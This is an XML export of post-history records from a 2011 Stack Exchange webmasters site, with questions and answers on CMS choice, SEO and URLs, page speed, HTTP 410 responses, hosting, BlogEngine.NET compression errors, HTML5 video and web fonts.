  <row Id="36341" PostHistoryTypeId="1" PostId="15388" RevisionGUID="ad20e598-ec41-4380-9bf9-cf91d9ee014a" CreationDate="2011-06-15T16:10:55.677" UserId="8331" Text="Powerfull CMS's for non-coders?" />
  <row Id="36342" PostHistoryTypeId="3" PostId="15388" RevisionGUID="ad20e598-ec41-4380-9bf9-cf91d9ee014a" CreationDate="2011-06-15T16:10:55.677" UserId="8331" Text="&lt;cms&gt;&lt;drupal&gt;" />
  <row Id="36343" PostHistoryTypeId="5" PostId="15388" RevisionGUID="e4c02cd5-170f-48c3-adbf-a5a5b3e9de8a" CreationDate="2011-06-15T16:14:32.510" UserId="1253" Comment="modified tags" Text="Ive used Drupal for every site I've made for the last couple of years. I guess Drupal is different things to different people, but what I love is the power it gives me without having to write code. The combo of CCK, Views, Rules, Roles allows me to do almost everything ive ever needed, and ive got by without advanced development like hooks and custom modules.&#xD;&#xA;&#xD;&#xA;Im now learning ExpressionEngine for my companies website. It seems similar to Drupal in the way that by using code snippets (which isn't really coding) you can achieve some quite powerful things without having to be a full on developer.&#xD;&#xA;&#xD;&#xA;So my question is, given my aversion to coding but need for power, are their any other CMS's worth looking at? Its not that im not technical (Drupal is famous for its learning curve!), but im much more comfortable with a UI than writing too much code. " />
  <row Id="36344" PostHistoryTypeId="6" PostId="15388" RevisionGUID="e4c02cd5-170f-48c3-adbf-a5a5b3e9de8a" CreationDate="2011-06-15T16:14:32.510" UserId="1253" Comment="modified tags" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;" />
  <row Id="36345" PostHistoryTypeId="2" PostId="15389" RevisionGUID="171f8e81-1263-4a93-a6fb-ed459416e3ca" CreationDate="2011-06-15T16:21:47.840" UserId="6957" Text="I bought a domain few months back.I am no longer using it.But it displaying in google search results.I dont know how google picked up.I want to remove from search results.But my domain is not associated with any web space.So i think robots.txt,request to remove site through webmaster wont work.Will deleting my domain,will exclude search results." />
  <row Id="36346" PostHistoryTypeId="1" PostId="15389" RevisionGUID="171f8e81-1263-4a93-a6fb-ed459416e3ca" CreationDate="2011-06-15T16:21:47.840" UserId="6957" Text="Removing domain from google search results" />
  <row Id="36347" PostHistoryTypeId="3" PostId="15389" RevisionGUID="171f8e81-1263-4a93-a6fb-ed459416e3ca" CreationDate="2011-06-15T16:21:47.840" UserId="6957" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="36348" PostHistoryTypeId="2" PostId="15390" RevisionGUID="8beefde2-363c-4a06-833d-233ca0ae2ae9" CreationDate="2011-06-15T16:32:13.703" UserId="1643" Text="You can verify that you are the owner of the site by using DNS verification:&#xD;&#xA;http://googlewebmastercentral.blogspot.com/2010/03/dns-verification-ftw.html&#xD;&#xA;&#xD;&#xA;Once you've done that you can request removal of the whole site http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=164734 but they may ignore it because you haven't got a robots.txt entry.&#xD;&#xA;&#xD;&#xA;If you do nothing eventually search engines will give up and drop your site from their indices as they always get errors when accessing this domain." />
  <row Id="36349" PostHistoryTypeId="5" PostId="15381" RevisionGUID="fd19d7dc-bc6c-4216-8a42-1de8280f0d40" CreationDate="2011-06-15T17:21:42.540" UserId="1253" Comment="added 2350 characters in body; added 5 characters in body" Text="1. [Yahoo's tips for improving page sped][1]&#xD;&#xA;2. [Google's tips for improving page speed][2]&#xD;&#xA;3. If you're using PHP, [Google's tips for making PHP faster][3]&#xD;&#xA;&#xD;&#xA;Here's a basic list as comprised from [Google's Page Speed addon][4] (here's [Yahoo's YSlow][5]):&#xD;&#xA;&#xD;&#xA;- Leverage browser caching		&#xD;&#xA;- Specify image dimensions	&#xD;&#xA;- Avoid CSS @import	&#xD;&#xA;- Avoid bad requests	&#xD;&#xA;- Combine images into CSS sprites	&#xD;&#xA;- Defer parsing of JavaScript	&#xD;&#xA;- Enable Keep-Alive	&#xD;&#xA;- Enable compression	&#xD;&#xA;- Inline Small CSS	&#xD;&#xA;- Inline Small JavaScript	&#xD;&#xA;- Make landing page redirects cacheable	&#xD;&#xA;- Minify CSS	&#xD;&#xA;- Minify HTML	&#xD;&#xA;- Minify JavaScript	&#xD;&#xA;- Minimize redirects	&#xD;&#xA;- Minimize request size	&#xD;&#xA;- Optimize images	&#xD;&#xA;- Optimize the order of styles and scripts	&#xD;&#xA;- Prefer asynchronous resources	&#xD;&#xA;- Put CSS in the document head	&#xD;&#xA;- Remove query strings from static resources	&#xD;&#xA;- Serve resources from a consistent URL	&#xD;&#xA;- Serve scaled images	&#xD;&#xA;- Specify a Vary: Accept-Encoding header	&#xD;&#xA;- Specify a cache validator	&#xD;&#xA;- Specify a character set	&#xD;&#xA;- Defer loading of JavaScript	&#xD;&#xA;- Remove unused CSS	&#xD;&#xA;- Use efficient CSS selectors&#xD;&#xA;&#xD;&#xA;I strongly recommend using either Google's or Yahoo's page speed add-ons to test out your pages. It's fast and easy to do and offers clear guidance on how to improve your page speeds.&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;As recommended by Nick in the comments here are some more good resources and information:&#xD;&#xA;&#xD;&#xA; - Steve Souder's [tips][6] and [book][7]:  &#xD;&#xA; - [Facebook's go-to references when they first optimised their site][8]&#xD;&#xA;&#xD;&#xA;**update 2**&#xD;&#xA;&#xD;&#xA;Here's come good stats that shows why page speed is important ([source][9])&#xD;&#xA;&#xD;&#xA;&gt; - Amazon: 100 ms delay caused a [drop in revenue][10].&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Google: 400 ms delay caused a [0.59% decrease in search requests per&#xD;&#xA;&gt; user][11].&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Yahoo!: 400 ms delay caused a [5-9% decrease in traffic][12].&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Bing: 2 seconds delay caused a [4.3% drop in revenue per user][13].&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Mozilla made their download page 2.2 seconds faster and was rewarded with&#xD;&#xA;&gt; an increase of [15.4% in&#xD;&#xA;&gt; downloads][14].&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Google Maps reduced the file volume by 30% and observed a [30% increase in&#xD;&#xA;&gt; map requests][15].&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Netflix, which uses Appdynamics to monitor their performance, enabled&#xD;&#xA;&gt; gzip on the server; simply by this&#xD;&#xA;&gt; single action pages became 13-25%&#xD;&#xA;&gt; faster and [saved 50% of traffic&#xD;&#xA;&gt; volume][16]!&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Shopzilla succeeded in reducing the loading time from 7 down to 2 seconds,&#xD;&#xA;&gt; whereby the [conversion rate increased&#xD;&#xA;&gt; by 7-12%][17], they observed a 25%&#xD;&#xA;&gt; increase in page requests, they were&#xD;&#xA;&gt; able to [retire 50% of their&#xD;&#xA;&gt; servers][18], thus saving energy&#xD;&#xA;&gt; costs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; - AOL observed the [number of page views on several websites][19]. While&#xD;&#xA;&gt; the fastest users requested 7-8 pages,&#xD;&#xA;&gt; the slowest only viewed 3-4.&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Edmunds got down from over 10 seconds to less than 2, adding 17%&#xD;&#xA;&gt; page views and [increasing revenue by&#xD;&#xA;&gt; 3%][20].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html&#xD;&#xA;  [2]: http://code.google.com/speed/articles/&#xD;&#xA;  [3]: http://code.google.com/speed/articles/optimizing-php.html&#xD;&#xA;  [4]: http://code.google.com/speed/page-speed/&#xD;&#xA;  [5]: http://developer.yahoo.com/yslow/&#xD;&#xA;  [6]: http://stevesouders.com/hpws/rules.php&#xD;&#xA;  [7]: http://stevesouders.com/blog/2009/04/23/even-faster-web-sites&#xD;&#xA;  [8]: http://facebook.com/note.php?note_id=307069903919&#xD;&#xA;  [9]: http://blog.codecentric.de/en/2010/12/web-performance-optimization-is-the-new-seo/&#xD;&#xA;  [10]: http://glinden.blogspot.com/2006/11/marissa-mayer-at-web-20.html&#xD;&#xA;  [11]: http://velocityconf.com/velocity2009/public/schedule/detail/8523&#xD;&#xA;  [12]: http://www.slideshare.net/stoyan/dont-make-me-wait-or-building-highperformance-web-applications&#xD;&#xA;  [13]: http://velocityconf.com/velocity2009/public/schedule/detail/8523&#xD;&#xA;  [14]: http://blog.mozilla.com/metrics/category/website-optimization/&#xD;&#xA;  [15]: http://news.cnet.com/8301-10784_3-9954972-7.html&#xD;&#xA;  [16]: http://velocityconf.com/velocity2008/public/schedule/detail/3632&#xD;&#xA;  [17]: http://velocityconf.com/velocity2009/public/schedule/detail/7709&#xD;&#xA;  [18]: http://www.stevesouders.com/blog/2008/03/06/how-green-is-your-web-page/&#xD;&#xA;  [19]: http://www.scribd.com/doc/16878352/The-Secret-Weapons-of-the-AOL-Optimization-Team&#xD;&#xA;  [20]: http://technology.edmunds.com/blog/2010/11/how-edmunds-got-in-the-fast-lane.html" />
  <row Id="36350" PostHistoryTypeId="2" PostId="15391" RevisionGUID="49890170-6c3e-4f19-a734-a8b253be224b" CreationDate="2011-06-15T17:28:02.660" UserId="8334" Text="Google and other search engines look at the HTTP status code that gets returned with any request. The most commonly known ones are '404' for page not found, '403' for access denied, or '301' for content that has permanently moved.&#xD;&#xA;&#xD;&#xA;There is a HTTP status for 'content gone', it's 410. This is often used if content has been removed permanently with no new address.&#xD;&#xA;&#xD;&#xA;Your best bet is to set your domain's DNS to some server somewhere, and configure Apache to return '410' for every request. You could do that by enabling mod_rewrite and sticking this rule in your .htaccess file:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule (.*) - [R=410]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36351" PostHistoryTypeId="2" PostId="15392" RevisionGUID="2fe78cbe-6d80-4596-84cf-f8a105b12ac3" CreationDate="2011-06-15T17:38:41.500" UserId="8334" Text="You say that this affects Excel files that are generated by your application. What about straight-up downloads? Try sticking an Excel file into your webroot manually, then downloading it. Does that come down OK?&#xD;&#xA;&#xD;&#xA;The first thing I check when I have &quot;file type x won't download&quot; issues is MIME types. Could something have changed when the SSL certificate was being installed?&#xD;&#xA;&#xD;&#xA;If MIME types turn out to not be the issue, at least you've crossed something off the list of things that could possibly be wrong. Does this issue affect every browser, or just IE?" />
  <row Id="36352" PostHistoryTypeId="25" PostId="15373" RevisionGUID="daed6d82-5c39-460e-b36b-3abe6aac4060" CreationDate="2011-06-15T18:24:13.300" Comment="http://twitter.com/#!/StackWebmasters/status/81064480791994368" />
  <row Id="36353" PostHistoryTypeId="17" PostId="15393" RevisionGUID="978cfc11-5fad-4db0-a831-b67f7857199e" CreationDate="2011-06-15T18:43:31.537" UserId="-1" Comment="from http://stackoverflow.com/questions/6362474/seo-get-variables-and-htaccess-question" Text="" />
  <row Id="36354" PostHistoryTypeId="2" PostId="15393" RevisionGUID="62b19deb-9d68-46a6-aee3-ef90e8c09c55" CreationDate="2011-06-15T18:25:24.823" UserId="5175" Text="i want to know, is there a huge difference in terms of SEO between these URL's:&#xD;&#xA;&#xD;&#xA;&gt; mysite.com/ontario/toronto/listings&#xD;&#xA;&gt; &#xD;&#xA;&gt; or&#xD;&#xA;&gt; &#xD;&#xA;&gt; mysite.com/listings.php?p=ontario&amp;c=toronto&#xD;&#xA;&#xD;&#xA;will one URL rank higher than another? is there a huge difference here?" />
  <row Id="36355" PostHistoryTypeId="1" PostId="15393" RevisionGUID="62b19deb-9d68-46a6-aee3-ef90e8c09c55" CreationDate="2011-06-15T18:25:24.823" UserId="5175" Text="seo GET variables and htaccess question" />
  <row Id="36356" PostHistoryTypeId="3" PostId="15393" RevisionGUID="62b19deb-9d68-46a6-aee3-ef90e8c09c55" CreationDate="2011-06-15T18:25:24.823" UserId="5175" Text="&lt;htaccess&gt;&lt;url&gt;&lt;seo&gt;" />
  <row Id="36357" PostHistoryTypeId="2" PostId="15394" RevisionGUID="dcffda76-2726-419e-a40c-d0650510bfd6" CreationDate="2011-06-15T18:52:58.973" UserId="1253" Text="Search engines can read query strings just fine so both are acceptable to use.&#xD;&#xA;&#xD;&#xA;The first example you use does offer more benefits for SEO since it clearly creates a hierarchy with broader categories to the left and more specific categories to the right. It's also good for usability since it is easier for humans to read and remember.&#xD;&#xA;&#xD;&#xA;But overall this won't have a large impact in your rankings. " />
  <row Id="36358" PostHistoryTypeId="5" PostId="15393" RevisionGUID="ad15a3b9-b4ea-4f97-8244-c3f67fd2d99d" CreationDate="2011-06-15T18:55:07.113" UserId="1253" Comment="modified tags, minor text edits" Text="I want to know, is there a huge difference in terms of SEO between these URLs:&#xD;&#xA;&#xD;&#xA;&gt; mysite.com/ontario/toronto/listings&#xD;&#xA;&gt; &#xD;&#xA;&gt; or&#xD;&#xA;&gt; &#xD;&#xA;&gt; mysite.com/listings.php?p=ontario&amp;c=toronto&#xD;&#xA;&#xD;&#xA;Will one URL rank higher than another? Is there a huge difference here?" />
  <row Id="36359" PostHistoryTypeId="4" PostId="15393" RevisionGUID="ad15a3b9-b4ea-4f97-8244-c3f67fd2d99d" CreationDate="2011-06-15T18:55:07.113" UserId="1253" Comment="modified tags, minor text edits" Text="Is a URL with a query string better or worse for SEO then one without one?" />
  <row Id="36360" PostHistoryTypeId="6" PostId="15393" RevisionGUID="ad15a3b9-b4ea-4f97-8244-c3f67fd2d99d" CreationDate="2011-06-15T18:55:07.113" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;url&gt;" />
  <row Id="36361" PostHistoryTypeId="5" PostId="15370" RevisionGUID="369eed19-182d-4d25-9ca7-dc50df32184a" CreationDate="2011-06-15T19:11:59.490" UserId="8130" Comment="deleted 3 characters in body" Text="Keeping the session cookie secure is surely one of the biggest problems, if a site switches between secure and non secure pages. But that's only a problem, because most sites combine session handling and authentication. If you use the session cookie exclusively for maintaining the session, you can avoid this security risk:&#xD;&#xA;&#xD;&#xA;[Switching-between-http-and-https-pages][1]&#xD;&#xA;&#xD;&#xA;Although this solves the problem with the session cookie, the question remains, is the additional complexity worth the saving of processor power for a full HTTPS site? Unfortunately it's difficult to get useful field reports or benchmarks of real scenarios. Big companies like Google were switching to full encryption, though it seems that they did a lot of optimizations before:&#xD;&#xA;&#xD;&#xA;[Overclocking-ssl][2]&#xD;&#xA;&#xD;&#xA;My personal opinion is, that for sites with low until moderate traffic you should avoid complexity and use HTTPS for all pages. If you have (or expect) a lot of traffic you can consider switching between HTTP and HTTPS.&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/5843305/switching-between-http-and-https-pages-with-secure-session-cookie&#xD;&#xA;  [2]: http://www.imperialviolet.org/2010/06/25/overclocking-ssl.html" />
  <row Id="36362" PostHistoryTypeId="2" PostId="15395" RevisionGUID="25e5b038-34d3-421c-8efe-c17049868b63" CreationDate="2011-06-15T20:00:10.787" UserId="7705" Text="I am starting a new project that includes subscriber registration and emailing them daily.&#xD;&#xA;For my project I created a server application written in c#, a website written in PHP, and a database managed by PHPMYADMIN and MySQL&#xD;&#xA;My question is, do hosting companies, usually, allow running custom made server software? and how do I know if a specific hosting company allows for all the technologies I use to create my project? Thanks" />
  <row Id="36363" PostHistoryTypeId="1" PostId="15395" RevisionGUID="25e5b038-34d3-421c-8efe-c17049868b63" CreationDate="2011-06-15T20:00:10.787" UserId="7705" Text="Do hosting companies, usually, allow running custom made server software?" />
  <row Id="36364" PostHistoryTypeId="3" PostId="15395" RevisionGUID="25e5b038-34d3-421c-8efe-c17049868b63" CreationDate="2011-06-15T20:00:10.787" UserId="7705" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;webserver&gt;&lt;custom-software&gt;" />
  <row Id="36365" PostHistoryTypeId="2" PostId="15396" RevisionGUID="17f5384a-646d-4e7b-b8c6-c536c6fa8a8e" CreationDate="2011-06-15T20:06:38.593" UserId="1253" Text="Hosting companies will usually list all of their available technologies on a page that describes their hosting plans. Go to [Hostgator][1] and click on &quot;compare all hosting plans&quot;. You will see a list of what their hosting plans support. If you see it, you can use it. &#xD;&#xA;&#xD;&#xA;PHP and MySQL are very common and offered by most hosting companies. C#, when used in .NET, is also common although you have to look for Windows hosting for that to work (mono availability is not very common). In your case it is not very common to use both C# and PHP/MySQL in the same website so you may find getting hosting that supports both a little more difficult to find.&#xD;&#xA;&#xD;&#xA;As far as custom software goes, usually custom written binaries are not allowed to be installed or run in a shared hosting environment. Typically you need a VPS or dedicated server to do this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hostgator.com/shared.shtml" />
  <row Id="36366" PostHistoryTypeId="2" PostId="15397" RevisionGUID="5724531d-0551-4467-90fb-4bc1d93150e1" CreationDate="2011-06-15T20:08:38.440" UserId="8339" Text="&lt;br&gt;&#xD;&#xA;I have a [blogengine.net][1] website hosted on godaddy and I'm having issues when viewing it with Firefox and Chrome. On Firefox I get this error : &#xD;&#xA;&#xD;&#xA;    Content Encoding Error&#xD;&#xA;    &#xD;&#xA;    The page you are trying to view cannot be shown &#xD;&#xA;    because it uses an invalid or unsupported form of compression.&#xD;&#xA;&#xD;&#xA;On Google Chrome however, I only get a white page like if there was nothing that would load.&#xD;&#xA;&#xD;&#xA;I'm wondering if it's the server (GoDaddy hosting), the website or both together that is causing this problem. When I run it directly from VS2010 I don't get any errors.&#xD;&#xA;&#xD;&#xA;What could cause that and how could I solve it.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dotnetblogengine.net/&#xD;&#xA;" />
  <row Id="36367" PostHistoryTypeId="1" PostId="15397" RevisionGUID="5724531d-0551-4467-90fb-4bc1d93150e1" CreationDate="2011-06-15T20:08:38.440" UserId="8339" Text="[BlogEngine.NET] Compression error" />
  <row Id="36368" PostHistoryTypeId="3" PostId="15397" RevisionGUID="5724531d-0551-4467-90fb-4bc1d93150e1" CreationDate="2011-06-15T20:08:38.440" UserId="8339" Text="&lt;web-hosting&gt;&lt;blog&gt;&lt;godaddy&gt;&lt;compression&gt;" />
  <row Id="36369" PostHistoryTypeId="2" PostId="15398" RevisionGUID="a6c8fa7b-8327-450b-8575-ade2fb3bf042" CreationDate="2011-06-15T20:11:28.060" UserId="1253" Text="[Source][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; While using BlogEngine.net you may run&#xD;&#xA;&gt; into “content encoding error” “The&#xD;&#xA;&gt; page you are trying to view cannot be&#xD;&#xA;&gt; shown because it uses an invalid or&#xD;&#xA;&gt; unsupported form of compression” this&#xD;&#xA;&gt; error, to resolve this, find&#xD;&#xA;&gt; &#xD;&#xA;&gt;     &lt;add name=”CompressionModule” type=”BlogEngine.Core.Web.HttpModules.CompressionModule, BlogEngine.Core”/&gt;&#xD;&#xA;&gt; &#xD;&#xA;&gt; in your web.config file and comment&#xD;&#xA;&gt; this line of code. This error mostly&#xD;&#xA;&gt; arrives when you host blogengine.net&#xD;&#xA;&gt; site on GoDaddy.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.deepakdhakal.com/post/2009/05/11/e2809ccontent-encoding-errore2809d-while-using-blogenginenet.aspx" />
  <row Id="36370" PostHistoryTypeId="2" PostId="15399" RevisionGUID="8e4c1d06-89b6-4e12-a639-66bb97ae6112" CreationDate="2011-06-15T20:23:36.797" UserId="7546" Text="On my site I use images to provide hover effects. However, when a user hovers on an element for the first time, it takes some time to load that element. In effect, the user hovers on something, and then (0.25 - 2 seconds later) the hover effect appears. I would like to load all those images when first entering the page, so that when they hover, the images dont need to load.&#xD;&#xA;&#xD;&#xA;What method is most optimal here?&#xD;&#xA;&#xD;&#xA;I am using PHP, JavaScript (jQuery)" />
  <row Id="36371" PostHistoryTypeId="1" PostId="15399" RevisionGUID="8e4c1d06-89b6-4e12-a639-66bb97ae6112" CreationDate="2011-06-15T20:23:36.797" UserId="7546" Text="Pre-loading images" />
  <row Id="36372" PostHistoryTypeId="3" PostId="15399" RevisionGUID="8e4c1d06-89b6-4e12-a639-66bb97ae6112" CreationDate="2011-06-15T20:23:36.797" UserId="7546" Text="&lt;html&gt;&lt;javascript&gt;&lt;cache&gt;" />
  <row Id="36373" PostHistoryTypeId="5" PostId="15399" RevisionGUID="0b4a3df1-f679-44bc-a3fe-ae5759f95d8f" CreationDate="2011-06-15T20:28:49.083" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How to pre-load images used only on hover?](http://webmasters.stackexchange.com/questions/2280/how-to-pre-load-images-used-only-on-hover)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;On my site I use images to provide hover effects. However, when a user hovers on an element for the first time, it takes some time to load that element. In effect, the user hovers on something, and then (0.25 - 2 seconds later) the hover effect appears. I would like to load all those images when first entering the page, so that when they hover, the images dont need to load.&#xD;&#xA;&#xD;&#xA;What method is most optimal here?&#xD;&#xA;&#xD;&#xA;I am using PHP, JavaScript (jQuery)" />
  <row Id="36374" PostHistoryTypeId="10" PostId="15399" RevisionGUID="6a662db9-3c7e-4f0a-bbcd-001f6dd69889" CreationDate="2011-06-15T20:28:48.910" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="36375" PostHistoryTypeId="2" PostId="15400" RevisionGUID="552ccf12-e920-4c2f-a214-94621c9026ce" CreationDate="2011-06-15T20:43:31.337" UserId="8263" Text="I've been wondering if there are any serious downsides for switching a websites code to HTML5/CSS3 now (browser support, browser distribution in the user community) ? &#xD;&#xA;Would it be a better idea to hold on a little longer ?&#xD;&#xA;&#xD;&#xA;Thanks in advance for your replies" />
  <row Id="36376" PostHistoryTypeId="1" PostId="15400" RevisionGUID="552ccf12-e920-4c2f-a214-94621c9026ce" CreationDate="2011-06-15T20:43:31.337" UserId="8263" Text="Downsides for adapting a site to HTML5/CSS3 ?" />
  <row Id="36377" PostHistoryTypeId="3" PostId="15400" RevisionGUID="552ccf12-e920-4c2f-a214-94621c9026ce" CreationDate="2011-06-15T20:43:31.337" UserId="8263" Text="&lt;html5&gt;&lt;css3&gt;" />
  <row Id="36378" PostHistoryTypeId="2" PostId="15401" RevisionGUID="3e3fdfe8-73f8-43c4-abbe-0f6a01ca7bcb" CreationDate="2011-06-15T20:54:43.590" UserId="7546" Text="I am trying to install a custom font on my site. The browser will load the font, but the display is not quite right. The character vertical positions/sizes seem to be off a tiny amounts. See examples&#xD;&#xA;[here][1]&#xD;&#xA;and&#xD;&#xA;[here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is my @font-face declaration:&#xD;&#xA;&#xD;&#xA;    @font-face {&#xD;&#xA;        font-family: 'HelveticaNeueLT45LightRegular';&#xD;&#xA;        src: url('helvetica-webfont.eot');&#xD;&#xA;        src: url('helvetica-webfont.eot?#iefix') format('embedded-opentype'),&#xD;&#xA;             url('helvetica-webfont.woff') format('woff'),&#xD;&#xA;             url('helvetica-webfont.ttf') format('truetype'),&#xD;&#xA;             url('helvetica-webfont.svg#HelveticaNeueLT45LightRegular') format('svg');&#xD;&#xA;        font-weight: normal;&#xD;&#xA;        font-style: normal;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I used the font squirrel generator to generate this (http://www.fontsquirrel.com/fontface/generator).&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://img69.imageshack.us/img69/1695/text1r.jpg&#xD;&#xA;  [2]: http://img193.imageshack.us/img193/4756/text2a.jpg" />
  <row Id="36379" PostHistoryTypeId="1" PostId="15401" RevisionGUID="3e3fdfe8-73f8-43c4-abbe-0f6a01ca7bcb" CreationDate="2011-06-15T20:54:43.590" UserId="7546" Text="Custom font not displaying properly" />
  <row Id="36380" PostHistoryTypeId="3" PostId="15401" RevisionGUID="3e3fdfe8-73f8-43c4-abbe-0f6a01ca7bcb" CreationDate="2011-06-15T20:54:43.590" UserId="7546" Text="&lt;css&gt;&lt;fonts&gt;" />
  <row Id="36381" PostHistoryTypeId="5" PostId="15362" RevisionGUID="5b8f3ef9-1388-41c8-aaec-32727620c7aa" CreationDate="2011-06-15T20:57:25.573" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Why don&amp;#39;t large popular sites such as SO use keyword and description meta headers?](http://webmasters.stackexchange.com/questions/13995/why-dont-large-popular-sites-such-as-so-use-keyword-and-description-meta-headers)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I noticed that Stackoverflow and the other Stackexchange websites have very few of the expected meta tags (keywords, description, etc) in their html.   The stackexchange sites consistently rank pretty well so I was wondering why that might be.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36382" PostHistoryTypeId="10" PostId="15362" RevisionGUID="6a752a55-488b-4ca7-9a00-3bf981d4ac09" CreationDate="2011-06-15T20:57:25.340" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="36383" PostHistoryTypeId="17" PostId="15402" RevisionGUID="be58df46-acf8-47d0-895a-a44fe4af0a7e" CreationDate="2011-06-15T21:04:13.157" UserId="-1" Comment="from http://serverfault.com/questions/280834/in-html5-different-browsers-support-different-formats-of-video" Text="" />
  <row Id="36384" PostHistoryTypeId="2" PostId="15402" RevisionGUID="5cfe1603-91b9-406e-ad77-e29b7409992c" CreationDate="2011-06-15T20:45:46.047" UserDisplayName="Poojan" Text="Does it mean that I need videos of multiple formats so that it can be played on different browsers by adding multiple sources to the &lt;video&gt; tag?" />
  <row Id="36385" PostHistoryTypeId="1" PostId="15402" RevisionGUID="5cfe1603-91b9-406e-ad77-e29b7409992c" CreationDate="2011-06-15T20:45:46.047" UserDisplayName="Poojan" Text="In HTML5, different browsers support different formats of video." />
  <row Id="36386" PostHistoryTypeId="3" PostId="15402" RevisionGUID="5cfe1603-91b9-406e-ad77-e29b7409992c" CreationDate="2011-06-15T20:45:46.047" UserDisplayName="Poojan" Text="&lt;video&gt;&lt;html5&gt;" />
  <row Id="36387" PostHistoryTypeId="2" PostId="15403" RevisionGUID="3ec1f384-573c-4b62-bd5b-98ea6676366f" CreationDate="2011-06-15T21:12:05.537" UserId="8302" Text="@John Conde is right.  The first URL has a hierarchy, which Google prefers.  &#xD;&#xA;&#xD;&#xA;Have a look at this [Google Search Engine Optimization Start Guide][1] (PDF link)  Pages 8-11 specifically&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en//webmasters/docs/search-engine-optimization-starter-guide.pdf" />
  <row Id="36388" PostHistoryTypeId="2" PostId="15404" RevisionGUID="8ea8ae5a-6926-4d31-abec-27a09612d0e9" CreationDate="2011-06-15T21:17:25.563" UserId="4502" Text="&lt;blockquote&gt;Minimally, MP4 + either WebM or Ogg, or maybe both.&lt;/blockquote&gt;&#xD;&#xA;--[How many formats do I need for HTML5 video?][1]&#xD;&#xA;&#xD;&#xA;As far as I'm aware, the situation hasn't changed significantly. And from what I've seen in some debates with representatives of the various browsers, it's not going to be resolved for a while.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.zencoder.com/2010/10/06/how-many-formats-do-i-need-for-html5-video/" />
  <row Id="36389" PostHistoryTypeId="25" PostId="15395" RevisionGUID="c75e5659-5300-4ba6-bd07-304c222716ea" CreationDate="2011-06-15T21:24:14.750" Comment="http://twitter.com/#!/StackWebmasters/status/81109782882287616" />
  <row Id="36390" PostHistoryTypeId="2" PostId="15405" RevisionGUID="56733ec0-308c-437d-95fe-3f565af598bc" CreationDate="2011-06-15T22:09:36.320" UserId="8117" Text="What should I include on my landing page to invite users to &quot;come on in&quot;?&#xD;&#xA;&#xD;&#xA;I'm creating an website with these features:&#xD;&#xA;&#xD;&#xA; 1. Regularly (several times/month) updated content, always available to everyone&#xD;&#xA; 2. Newsletter with new info and links back to the website&#xD;&#xA; 3. Members can use a service available on the website&#xD;&#xA; 4. Premium service for subscribers&#xD;&#xA; 5. Product recommendations that link to buying sources (Amazon, etc)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36391" PostHistoryTypeId="1" PostId="15405" RevisionGUID="56733ec0-308c-437d-95fe-3f565af598bc" CreationDate="2011-06-15T22:09:36.320" UserId="8117" Text="What must be on my landing page?" />
  <row Id="36392" PostHistoryTypeId="3" PostId="15405" RevisionGUID="56733ec0-308c-437d-95fe-3f565af598bc" CreationDate="2011-06-15T22:09:36.320" UserId="8117" Text="&lt;websites&gt;" />
  <row Id="36393" PostHistoryTypeId="2" PostId="15406" RevisionGUID="b9978714-35a6-400a-a9fd-10578e7da847" CreationDate="2011-06-15T22:16:35.287" UserId="8334" Text="Think about what your users will want to get out of the site, and what you want them to do with it, and make those things big, clear and obvious on the homepage. Make them stand out (in a tasteful way), and use &quot;calls to action&quot; that encourage people to interact with them.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;- Sites for software packages should have a 'Download' or 'Buy' link in a prominent place.&#xD;&#xA;- Sites that sell things should have featured products and obvious 'add to cart' links.&#xD;&#xA;- Sites for bands make it easy to listen to the band's music or watch videos.&#xD;&#xA;&#xD;&#xA;In summary, the easier you make it for someone to find what they need (and what they came to your site for), the more likely they are to do it." />
